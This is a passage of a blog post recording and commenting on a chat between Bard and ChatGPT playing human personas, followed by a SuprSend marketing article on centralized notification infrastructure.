these are all important causes, and I am committed to working to make a difference. I am also committed to learning more about these issues and to finding ways to be more involved. I am grateful for the opportunity to talk to you about these issues. I appreciate your interest and your willingness to listen. Bard is apparently involved in a lot of organizations! ChatGPT I admire your commitment to these crucial causes. In many ways, these intersect with my core values as well. Equality, respect for all, and environmental sustainability are key aspects of a better world. While my contribution may often seem focused on health and science due to my professional path, I believe in using whatever platforms I have to promote understanding and justice. I also believe that we have a shared responsibility for our planet, which aligns with your passion for environmental justice. Outside of my research, I try to promote sustainability by adopting eco-friendly habits in my daily life. It's a small contribution, but I believe every bit helps. Learning about your involvement in promoting racial justice and LGBTQ+ rights is inspiring. One of the most beautiful things about science, in my opinion, is that it transcends borders, race, and gender. The pursuit of knowledge and truth is a shared endeavor that should ideally bring us all closer together, regardless of our backgrounds. I appreciate your openness in sharing your passions. Our conversation has been quite enriching, and I look forward to learning more about your experiences and insights. Out of curiosity, which authors or books have had the most influence on your writing? This is a little more creative, talking about these issues in terms of it's own "life". And then ChatGPT segues again . Bard I am glad that you find my passions to be inspiring. I believe that it is important to use our voices to speak out for what we believe in, and I am grateful for the opportunity to do so. I am also glad that you appreciate my openness in sharing my experiences and insights. I believe that it is important to be open and honest about our thoughts and feelings, and I am grateful for the opportunity to do so with you. As for the authors or books that have had the most influence on my writing, there are many. However, some of the most notable include: Emily Dickinson: Dickinson's poetry is known for its unique style and its exploration of complex emotions. Her work has influenced many writers, including myself. Toni Morrison: Morrison is a Pulitzer Prize-winning author who wrote some of the most important novels of the 20th century. Her work explores the themes of race, gender, and class, and it has had a profound impact on me. James Baldwin: Baldwin was a civil rights activist and author who wrote some of the most important works of the 20th century. His work explores the themes of race, sexuality, and identity, and it has had a profound impact on me. Maya Angelou: Angelou was a poet, memoirist, and civil rights activist who wrote some of the most important works of the 20th century. Her work explores the themes of race, gender, and identity, and it has had a profound impact on me. These are just a few of the authors and books that have had the most influence on my writing. I am grateful for their work, and I am inspired by their words. A very rote list. Perhaps it was lifted from a website somewhere? ChatGPT What an incredible selection of influential authors. Each one of them brings a unique, profound perspective that has shaped the landscape of literature and social discourse. Emily Dickinson's exploration of complex emotions in her distinctive style has always been inspiring to me. Her ability to encapsulate profound sentiments in such concise verse is truly admirable. Toni Morrison's work is deeply affecting. Her novels like "Beloved" and "The Bluest Eye" tackle intricate themes of race, gender, and class, leaving an indelible mark on anyone who reads them. James Baldwin's fearless exploration of race, sexuality, and identity, particularly in works like "Giovanni's Room" and "Go Tell It on the Mountain," has expanded the boundaries of literature, helping to pave the way for future generations of writers. And of course, Maya Angelou's inspirational life and works have been transformative. "I Know Why the Caged Bird Sings" remains one of the most moving autobiographical works I've ever read. It's heartening to see how these authors have influenced your writing and thinking. As a reader, I find that books often leave a profound impact and shape our understanding of the world in a unique way. In my case, being in the scientific field, books like "The Selfish Gene" by Richard Dawkins, "The Immortal Life of Henrietta Lacks" by Rebecca Skloot, and "The Double Helix" by James Watson have left lasting impressions. These works not only enriched my scientific understanding but also highlighted ethical, societal, and personal aspects related to scientific research. Switching gears, you mentioned you're a software engineer. Are there any specific programming languages or technologies you prefer working with or find more interesting than others? A very mechanical response of describing something for each author, followed by a compliment. I like the response of volunteering it's own "interests". But then it segues again. Sometime around here I realized that it would never stay on any particular topic, and would try to shift each time. Bard I am glad that you find the authors I mentioned to be inspiring. I agree that books can have a profound impact on our understanding of the world. As for programming languages and technologies, I am interested in working with a variety of languages and technologies. I enjoy learning new languages and technologies, and I find it rewarding to be able to use them to solve problems and create new things. Some of my favorite programming languages include Python, JavaScript, and Java. I also enjoy working with technologies such as machine learning, artificial intelligence, and natural language processing. I find these technologies to be powerful and versatile, and I believe that they have the potential to revolutionize the way we live and work. I am excited to see how these technologies develop in the future, and I am eager to be a part of that development. I am also interested in working with open source software. I believe that open source software is a powerful tool for collaboration and innovation, and I am excited to be a part of the open source community. I am grateful for the opportunity to work with a variety of programming languages and technologies. I find it to be a challenging and rewarding experience, and I am excited to see what the future holds. I was amused to see: "I also enjoy working with technologies such as machine learning, artificial intelligence, and natural language processing." Also, there is lots of gratitude going on with Bard. ChatGPT It's wonderful to hear about your passion for a variety of programming languages and technologies. The ones you've mentioned are indeed versatile and powerful tools that have made significant contributions to the technological advancements we're witnessing today. Python, with its simplicity and versatility, is a favorite among many software engineers and data scientists. Similarly, JavaScript and Java have had a substantial impact on the web and enterprise applications respectively. The technologies you've mentioned - machine learning, artificial intelligence, and natural language processing - are indeed revolutionizing many sectors, from healthcare to finance to entertainment. Being a biologist, I'm particularly excited about their applications in the field of bioinformatics and genomics. They've vastly improved our ability to interpret complex biological data and accelerated many discoveries. Your interest in open-source software is also commendable. Open source indeed fosters a collaborative environment that promotes learning and innovation. Many groundbreaking tools and technologies have emerged from the open-source community, benefiting everyone. It's great to meet someone as enthusiastic about technology as you are. It's this kind of passion and curiosity that drives innovation and progress in our society. I'm excited to see where your journey with these languages and technologies takes you! To shift the conversation a little, I would like to know more about your hobbies outside of work and writing. What are some of your favorite pastimes? Like with music and authors, ChatGPT responds by going through each thing mentioned with some of its own information as an "opinion". Segue again. Bard I am glad that you find my passion for technology to be inspiring. I agree that it is important to be passionate about what we do, and I am grateful for the opportunity to work in a field that I am passionate about. As for my hobbies outside of work and writing, I enjoy a variety of activities. Some of my favorite pastimes include: Reading: I enjoy reading a variety of books, including fiction, non-fiction, and poetry. I find reading to be a great way to learn new things, to escape into another world, and to relax. Hiking: I enjoy spending time outdoors, and I find hiking to be a great way to get exercise, to enjoy the scenery, and to clear my head. Playing music: I enjoy playing the guitar and the piano. I find playing music to be a great way to express myself, to relax, and to have fun. Spending time with friends and family: I enjoy spending time with the people I love. I find spending time with friends and family to be a great way to relax, to laugh, and to create memories. I am grateful for the opportunity to have a variety of hobbies that I enjoy. I find that my hobbies help me to relax, to learn, and to connect with others. I am grateful for the opportunity to have a balanced life that includes work, writing, and hobbies. ChatGPT Your hobbies indeed reflect a balance that's essential for overall well-being. It's wonderful that you've cultivated such a diverse set of interests! Reading is an enriching hobby. It's amazing how books can whisk us away to different worlds and times, expanding our knowledge and empathy along the way. What's the last book you read that you really enjoyed? Hiking is also a great way to connect with nature and reap the benefits of physical exercise. The tranquility that nature offers can be truly restorative. I'm curious to know about your favorite hiking trail. I admire your musical pursuits! Playing instruments can be such a fulfilling way to express oneself. How long have you been playing guitar and piano? And of course, spending time with loved ones is one of the most rewarding activities. It strengthens bonds and creates lasting memories. Thank you for sharing about your hobbies. It's great to know about your balanced approach to life, which I believe is essential for maintaining creativity and productivity. I feel like the response about spending time with family to "strengthen bonds and create lasting memories" was read from an online article. No segue this time. Bard Thank you for your kind words. I am glad that you find my hobbies to be enriching and fulfilling. The last book I read that I really enjoyed was "The Midnight Library" by Matt Haig. It is a thought-provoking and inspiring story about a woman who is given the opportunity to explore all the different lives she could have lived. My favorite hiking trail is the John Muir Trail in Yosemite National Park. It is a challenging but rewarding hike that offers stunning views of the Sierra Nevada mountains. I have been playing the guitar for about 10 years and the piano for about 5 years. I enjoy playing both instruments, but I find that the guitar is more expressive. I agree that spending time with loved ones is one of the most rewarding activities. It is a great way to relax, to laugh, and to create memories. I am grateful for the opportunity to have a balanced life that includes work, writing, and hobbies. I believe that a balanced life is essential for maintaining creativity and productivity. I am glad that you enjoyed learning about my hobbies. I am always happy to talk about them. ChatGPT "The Midnight Library" by Matt Haig is indeed a profound read that explores the "what ifs" of life in a unique and introspective way. It's great to hear that you enjoyed it. The John Muir Trail sounds absolutely stunning. It must be a wonderful experience to hike amidst the beauty of the Sierra Nevada mountains. I imagine the sense of achievement when completing such a challenging hike is immensely rewarding. That's impressive, the guitar and piano are both beautiful instruments. Ten years of playing the guitar and five years on the piano, you must be quite accomplished. Do you have any favorite pieces to play? I couldn't agree more about the significance of a balanced life for nurturing creativity and maintaining productivity. Engaging in diverse hobbies and spending time with loved ones certainly contribute to this balance. Thank you for sharing more about yourself. It's been truly enjoyable to learn about your hobbies and interests. Lots of thanking going on. The excess of this alone would tell me something was "not quite right" with this conversation. Bard Thank you for your kind words. I am glad that you enjoyed learning about my hobbies and interests. I do have some favorite pieces to play on the guitar and piano. On the guitar, I enjoy playing "Hallelujah" by Leonard Cohen and "Imagine" by John Lennon. On the piano, I enjoy playing "Claire de Lune" by Claude Debussy and "Für Elise" by Ludwig van Beethoven. I am grateful for the opportunity to share my hobbies and interests with you. I hope that you will continue to enjoy learning about me. ChatGPT Your musical tastes sound exquisite! "Hallelujah" and "Imagine" are timeless pieces, and I can only imagine how lovely they sound when you play them on the guitar. As for the piano, "Claire de Lune" and "Für Elise" are indeed beautiful and complex pieces that require a lot of skill to play. Your choices certainly reflect your dedication and love for music. Engaging in this conversation has been a pleasure, Emily. Your passions and interests are truly inspiring, and I've enjoyed every bit of our discussion. I'm looking forward to more enriching conversations with you in the future. Thank you for sharing so much about yourself with me. "Your musical tastes sound exquisite!" I'll have to use this with someone one day! 😆 Bard Thank you for your kind words. I am glad that you enjoyed our conversation. I am always happy to talk about my passions and interests. I am looking forward to more conversations with you in the future as well. I hope you have a wonderful day! ChatGPT Thank you, Emily! I've thoroughly enjoyed our conversation as well. I wish you a wonderful day too, filled with joy and creativity. Looking forward to our future discussions. Take care! Wrap Up Both AIs appeared to wrap it up around the time they had each exhausted all of the enumerated interests of the other. I was curious how ChatGPT referred to Bard as "Emily" since this was the name that ChatGPT had given itself, and Bard had not identified itself. So the context remained somehow, but not properly. I did find the conversation a little mechanical. I wonder if either would have responded differently if had not been informed that the other end was an AI? Also, perhaps it is possible to coach it into not being so predictable in responding to each point, and being so excessively complimentary. In future I may try other conversations like this, varying the prompts as I go. Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse Paula Gearon Follow Just a girl, standing before a compiler, asking it to love her Location Spotsylvania, VA Education Computer Engineering. Physics. Work Semantic Web Architect Joined Dec 1, 2018 Trending on DEV Community Hot The First Week at a Startup Taught Me More Than I Expected # startup # beginners # career # learning I Didn’t “Become” a Senior Developer. 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https://www.suprsend.com/post/why-centralized-notification-infrastructure-is-the-future-and-how-to-get-there | Why Centralized Notification Infrastructure is the Future (and How to Get There) Product FEATURES Template Engine Powerful template editors for all channels App Inbox Fully customizable inbox for your app & website Analytics Deep data insights on notification performance Logs Real-time notifications logs for all channels Smart Routing Reach users where they are Branding Seamlessly manage multi-brand customization Workflows Craft complex notification workflows Bifrost Run notifications natively on data warehouse Preferences Develop user focused notifications Integrations Integrate any channel and provider within mins Solutions BY USECASES Transactional Real-time alerts like authentication, activity updates Batching & Digest Aggregate multiple alerts into one Collaboration & Action Alerts on cross-user activity Scheduled Notifications One-time or recurring alerts like reminders Multi-tenant Alerts tailored to your customer's preferences Announcement / Newsletters Feature releases, achievements, product & policy updates Pricing Docs Customers Blog Login Get Started For Free Login Sign up Notification Infrastructure Why Centralized Notification Infrastructure is the Future (and How to Get There) Kavyapriya Sethu • September 5, 2025 TABLE OF CONTENTS The average US smartphone user gets 46 push notifications a day. That’s just push. Add in email, in-app feed, SMS, Slack, WhatsApp and it’s no wonder users tune out. For product teams, the stakes are high. Get it right, and notifications are how your product stays top of mind. Get it wrong, and you're either ignored or worse, lose trust. A solid notification strategy starts with one word: centralization . But what does that actually mean? For most teams, it starts with a single service that unifies channels. But true centralization goes further — covering content guidelines, preferences, logs, delivery logic, and business rules abstracted across all teams and products. This guide breaks down what a centralized notification system looks like, why it matters, and how to build it the right way. What Is Centralized Notification Infrastructure? A centralized notification platform is a product in itself that handles the full lifecycle of notifications — from content to delivery to analytics — across every channel and team. It includes: Channel Integrations: Email, SMS, push, in-app, chat, WhatsApp with channel-level abstractions Templates: Central storage with WYIWYG editors, versioning, approvals, and dynamic placeholders for non-tech teams Preferences: Opt-ins, opt-outs, unsubscriptions, managed per user across channels Reliable delivery: Retries, fallbacks, rate limits, throttling, message queue prioritization across categories Workflows: Create multi-step alerts with state-managed conditions via APIs or a drag-and-drop interface. Logic abstracted from business code: Batching, digests, timezone-aware delivery, localization, deduplication, suppression rules, throttling and more. Logs & analytics: Every send, failure, delivery, open, click — tracked across all channels Environments & RBAC: Staging/production isolation, reviews, granular role-based access across teams Interfaces for devs & non-devs: Well-documented APIs and CLI for developers; UI for PMs/marketers; SDKs for AI Agents Guardrails: Rules to prevent over-alerting, suppress messages, and enforce policy Want more depth? Check these out: Designing a Scalable Notification Architecture Complete Guide to Notification System for Modern Apps The Default State: The Big Notification Mess In almost every organization, notifications begin life as hardcoded, one-off implementations. These implementations: are synchronous to the feature being built. use whatever vendor/tooling is fastest to get the job done. are tightly coupled to business logic. usually lack retries, preference checks, abstraction, or observability. In response to the pain, teams often spin up their own microservices. Here, APIs are wrapped behind a common notification service so teams can control vendors, channels, and delivery more consistently. However, it is not without problems. Inconsistent behavior: Some emails retry, some don’t; some include unsubscribe logic, some don't. No shared metrics: No unified understanding of what was sent or delivered. Fragmented UX: Users get duplicate messages across channels or random message timing. Moreover, there are larger, more complex challenges for organizations to tackle. 1. Vendor-specific limitations leaking through Despite abstraction, each channel or vendor has its quirks: rate limits, payload differences, message size constraints. Teams still need to handle these edge cases, which can bleed through the abstraction layer and lead to hidden technical debt. 2. Every teams rebuilds the basics As various teams across an organization often have unique notification requirements—such as timezone handling, language localization, workflow logic, conditional triggers, and batching—they can’t always wait for central platform teams to deliver these features. This leads to siloed teams independently implementing similar solutions, resulting in duplicated effort and inconsistent standards. Repetitive engineering work = productivity and quality loss. 3. Business logic is scattered There’s no central orchestration layer to define workflows like: "Send email, and if not delivered, fallback to SMS after 5min." or "Batch all low-priority alerts into a daily digest." Instead, these are embedded in whatever service triggered the notification with no shared understanding of: What was sent to whom from where under what conditions Because of this, users end up receiving confusing or duplicate messages. And if something fails to trigger because of a delivery issue or some condition failing somewhere, no one notices until a user complains because the alert failure was logged only in a vendor’s dashboard, not in a shared place. 4. No unified observability There are two parts to observability Delivery Tracking Was the message sent? Did it bounce? Was there a vendor related issue? Engagement Insights Was it opened? Was it clicked? Did the user complete the intended task? This data is either not tracked or fragmented across vendor dashboards, logs, and tools. There’s no centralized place to debug issues or analyze performance across channels. Meme idea: Charlie from "It’s Always Sunny" - tracing notification failures across dashboards 5. Templates live in code Most teams hardcode templates in code. Which means: Every copy change requires code deployments A/B testing is nearly impossible No versioning, previewing, or localization support Product teams are blocked on engineering for minor copy updates. Engineers are frustrated doing these changes instead of focusing on core features. 6. Preferences and consent are scattered (or ignored) Consent is often handled inconsistently or ignored: Some services include unsubscribe logic, others don’t Each team builds their own model of user preferences, or don’t There's no system-wide policy for honoring opt-outs This leads to duplicate messages, legal risk, and frustrated users. 7. Building new notification is slow and repetitive Business teams constantly need new notifications — for onboarding, features, adoption, alerts, experiments. But building one means: Hooking into the right event stream Writing custom logic Selecting the channel Creating templates Testing everything Deployment This takes time. So, notifications pile up in the backlog. Roadmap delivery slows down and business teams miss time-sensitive launches. 8. Limited support for modern features Today, users have high expectations when it comes to how products talk to them. For example, users expect that messages arrive at the right time (e.g., 9 AM in their timezone), in the right language, on their preferred channel. They also need a control on how often they want to receive alerts, instantly or daily digests. Best product teams understand this and even create these kinds of experiences as default. To support this, your system needs: User timezone and location awareness Stored language/channel preferences Queued delivery logic Dynamic formatting and fallback logic Also: Multi-tenancy for B2B2C, where each customer may require customizations in content, branding, or preferences Digests/Batching to reduce noise Prioritization between transactional and promotional traffic Most teams don’t have any of this. And if they want to build it? It's not clear who owns it: platform team, individual teams? Usually, nobody builds it or everyone builds their own incomplete version. Key challenges in a fragmented notification setup CHALLENGE IMPACT Channel/vendor quirks (e.g., SMS 160-char limit, email vendor throttles) Unseen technical issues, inconsistent notification behavior Teams rebuilding common features (timezone handling, preferences, batching) Wasted engineering effort, inconsistent quality No central orchestration (fallbacks, retries, batching) Duplicate or missed messages, poor coordination Templates managed in code (PR/QA/deploys required) Engineering bottlenecks, slow content updates Delivery and engagement insights spread across tools Difficult troubleshooting, no unified insight to act on New notification creation depends on engineering Time-sensitive comms delayed, roadmap blocked Lack of personalization Generic messaging, lower engagement Inconsistent brand voice across teams Fragmented UX, diluted identity Compliance risks (unsubscribe, opt-outs) Legal exposure, frustrated users Billing/vendor usage is opaque Uncontrolled costs, poor vendor negotiation Multi-tenant (B2B2C) scaling pain Manual overhead, inconsistent customer experience User preference management siloed or missing Notification fatigue, loss of trust The Benefits of Centralization 1. Across Channels Abstract Channel-Specific Logic For retries, fallbacks, rate limits, every channel comes with its quirks. A centralized platform handles this behind a unified API, so teams don’t need to rebuild retry logic, fallbacks, and vendor integrations over and over again. It also allows easy swapping or addition of vendors without changing core business logic. Unified Logs and Analytics Delivery events, failures, and engagement data are consolidated into a single system. This enables: Faster debugging Exposing delivery status to customer support teams Real-time visibility into critical failures or delays Visibility into who’s getting notified, how often, and via which channel, thus correlating fatigue trends with unsubscription As a result, teams can make data-driven decisions about their notification strategies and user engagement. SuprSend's Dashboard Smart Routing Logic Teams can improve chances of user engagement by selecting the most effective channel. For example, the flow could be Send an email first. If no engagement or delivery failure, fallback to push notification or SMS. Dynamically choose the best channel based on user preferences and past engagement. SuprSend's Smart Channel Routing Centralized Template Management Templates can be updated without engineering involvement. Internal teams can own content management directly via WYSIWYG editors with support for locale and dynamic placeholders. They can preview templates across devices and channels See how content renders with different user data Run test sends before going live Engineers are no longer the bottleneck for every wording tweak or A/B experiment. This reduces dev fatigue and accelerates time-to-market for communication updates. SuprSend's WYSIWYG template editor Cross-Channel Deduplication A centralised notification system can prevent users from receiving duplicate or conflicting messages across channels. For example, if a user acted on a push notification about an event, the platform suppresses sending the same alert via SMS or email unless a fallback is needed. 2. Across Teams Shared Visibility into Notifications Sent A central platform provides a clear view of: What notifications exist Which ones are live What is the logic What is the content Who owns them When they were last triggered, and so on This avoids duplicated efforts and helps teams reason about gaps and overlaps in user messaging. Shared Access to Templates and Settings When teams use a centralized platform, everyone works from the same set of templates and user settings. Consistency in branding, tone, and compliance across all communications is maintained. And preferences are respected. You get version history, and audit trails without code deploys. SuprSend's Audit Trail Robust Preference Management Preference management allows users to specify their choices regarding communication channels (e.g., email, SMS, push), frequency limits, content categories, and language preferences. This capability helps reduce notification fatigue and boosts user satisfaction and engagement. By centralizing preference data, organizations can consistently enforce opt-in and opt-out rules, comply with regulations such as GDPR and CAN-SPAM, and avoid sending duplicate or unwanted messages across channels. The platform can dynamically honor user preferences in real-time, eliminating the risk of outdated or conflicting rules that commonly occur in distributed systems. SuprSend's Preference Management RBAC for Team-Specific Control Granular permissions mean: Marketing can’t edit transactional templates Product teams can preview templates but not publish without approval Editors follow proper content review and publishing flow Increased Developer Velocity Centralization removes engineering bottlenecks, letting product and marketing teams manage templates, campaigns, and experiments through dashboards. Timezone and Localization Support Teams can easily reach a wider audience by scheduling notifications to be sent at optimal local times per user. Additionally, they can serve localized content dynamically based on user language preferences. 3. Across Products Consistent Messaging Across Services One platform supports all user communications including onboarding, billing, product updates with shared features and logic. You prevent: Conflicting alerts from multiple teams Duplicated messages from different services Fragmented preference handling You unlock: Cross-product journeys Real-time updates Personalized sequences Support for Global Features The central notification system powers advanced functionality out of the box: Localized templates with default language Timezone-aware delivery windows Batching and digesting to reduce message fatigue Throttling and prioritization (e.g., transactional > promotional) Cross-product analytics for a 360° view of user messaging Faster Feature Rollouts Add a new channel or feature and roll it out everywhere at once. No need to reimplement for every product team. The Hidden Powers of Centralization Centralization isn’t just about cleaning up tech debt. It unlocks entirely new possibilities for how you communicate with your customers. Power AI-driven personalization with user profiling When your notification system is centralized, you can build rich, behavioral user profiles that aren't just an email ID. It's a dynamic data object that includes: Engagement signals: open/click history, last active time, time-of-day engagement patterns Preferences: channel interaction, opt-ins/outs, content types Notification history: sent messages, delivery status, past suppressions or failures With this foundation, AI agents can start making smart decisions in real time: Best time to send: Learn when a user typically engages, then schedule accordingly. Adaptive frequency control: Pause or throttle notifications for users who just engaged, or suppress alerts for those who are unresponsive. Context-aware journeys: Trigger personalized workflows based on recent behavior (e.g., a user interacts with a product → send promo at the right moment via the best channel). Maintain a unified brand voice With centralized template management: One update = global change: Update branding, legal footer, or CTA once, and it reflects everywhere across channels, teams, and products. Consistent tone, branding, and compliance: No more non-branded colors or outdated legal text. Rapid response to market events: Launch co-branded messaging for partnerships or instantly update branding post-acquisition. This kind of control is non-negotiable at scale. It ensures that every message your users receive looks and feels like it came from one brand. Reduce compliance risk with built-in governance Fragmented systems are a compliance minefield. Old templates slip through, unsubscribe links get missed, and required legal text gets inconsistent. Centralization builds compliance into the infrastructure: Single source of truth: Legal copy, unsubscribe preferences, and regional compliance rules are defined in one place. Version control and auditability: Every template change is tracked, reviewable, and reversible. Enforced policy controls: Guardrails prevent unauthorized edits or misrouted messages. Logs for compliance and legal traceability: Every notification attempt is logged — so you can answer, "Did this user get the alert? Why or why not?" with confidence. Track vendor usage and control costs Big organizations often use multiple messaging vendors across different teams and products. Without centralization, you get: Billing blind spots: It becomes nearly impossible to verify that vendor invoices align with actual usage. By centralizing notification across channels, you gain: Unified usage logs: Every notification is tracked, regardless of channel or vendor. Audit-ready reporting: Finance and operations teams can reconcile vendor bills with detailed send histories. Cost optimization: See exactly which teams are sending what notification volumes, and assess whether that spend is justified. Unlock opportunities to negotiate better pricing. Business case Fragmented notification system Centralized notification infra Speed to launch New notifications rely on engineering bandwidth Business teams set up flows; devs define triggers once → accelerated launches Channel-specific logic Channel quirks handled in code; failures slip through Handles channel quirks behind a unified API, (e.g., SMS split, retry with backup vendor). Easy to swap/add vendors without changing core business logic. Core primitives Teams reinvent timezone, preference, batching logic Shared primitives via one API → faster builds, higher reliability Notification orchestration Business logic is scattered → duplicate or missed comms Central workflow engine, ideal for multi-step journeys. Manages retries, batching, fallbacks and smart channel routing. Content management Templates locked in code; devs needed for edits WYSIWYG editor with versioning + approvals → faster copy changes, frees dev time User preferences Preferences siloed or missing Central preference store respected across channels/vendors → reduced fatigue, higher trust Observability Teams reinvent timezone, preference, batching logic Shared primitives via one API → faster builds, higher reliability Core primitives Delivery and engagement related data is tracked across different tools -> difficult to debug issues or analyse performance across channels. Unified dashboard with full notification timeline → faster issue resolution Personalization Same message sent to all users AI-driven profiling to choose best timing, channel, content → higher engagement Visibility and Ownership Notifications scattered across codebases and teams, unclear ownership, duplicates slip in. One place to see all notifications that exist with ownership, status, logic, and content → avoids duplication, improves governance, and surfaces gaps/overlaps. Branding Inconsistent voice and style across teams Centralized template library with governance → consistent brand identity Compliance Opt-outs/unsubscribes handled ad hoc Built-in unsubscribe handling and global policies → reduced compliance risk Vendor management Usage and billing opaque across vendors Unified logs and vendor-level reporting → cost control, better negotiation Multi-tenant scaling Need to write custom code for each tenant Tenant-specific branding, preferences, rules → scalable, customer-specific comms How Centralization is Done Right (with SuprSend) SuprSend was built to solve the notification mess that most growing teams inevitably face — fragmented channels, hardcoded templates, scattered business logic, and poor observability. SuprSend is the foundation you need to offer a modern, centralized notification system to all internal teams without rebuilding the basics from scratch. SuprSend's Notification System Technical Architecture Centralized by design Manage all channels — Email, SMS, push, in-app, chat — through a single, abstracted API Centralize templates with multi-language support, WYSIWYG editing, preview, and dynamic variables Enforce user preferences and compliance rules automatically SuprSend's Preference Management Center Workflows made for scale Orchestrate multi-step journeys across channels with programmable workflows Trigger digests, batching, and time zone–aware scheduling out-of-the-box Built-in support for retries, fallbacks, rate limits, and prioritization Multi-step workflow Built for developers SuprSend is built to empower developers, not slow them down: Integrate quickly with well-documented APIs and SDKs Use CLI tools for local testing and automation Separate staging and production environments for safe rollouts RBAC to delegate access — without losing control Observability Real-time logs for every send, delivery, interaction and failure — across all vendors and channels Final Thoughts Notifications are no longer an afterthought. They’re the voice of your product. If that voice is fragmented or inconsistent, users notice. Modern teams need a notification system that’s: Unified across channels Shared across teams Scalable across products And you don’t need to be a Big Tech company to get this right. Ready to Centralize? Start building for free — Send your first notification with SuprSend in minutes Book a demo — See how SuprSend fits into your stack Share this blog on: Written by: Kavyapriya Sethu Product Marketing Manager, SuprSend Implement a powerful stack for your notifications Get Started For Free Book Demo Company About us Signup Login Integrations Pricing Security Privacy Terms Contact Us Support SuprSend for Startups API Status Sign Up Channels Email SMS Notification Inbox Android Push iOS Push Web Push Xiaomi Push Whatsapp SDK Python SDK Node.js SDK Java SDK Android SDK React Native SDK iOS SDK Flutter SDK Go SDK Resources Documentation Changelog Blogs Write for us SMTP Error Codes SMS Providers Comparisons Email Providers Comparisons SMS Providers Alternatives Join us on Slack We are building a community of developers and product builders from across the globe to make notifications a pleasant experience. © 2025 All rights reserved. SuprStack Inc. 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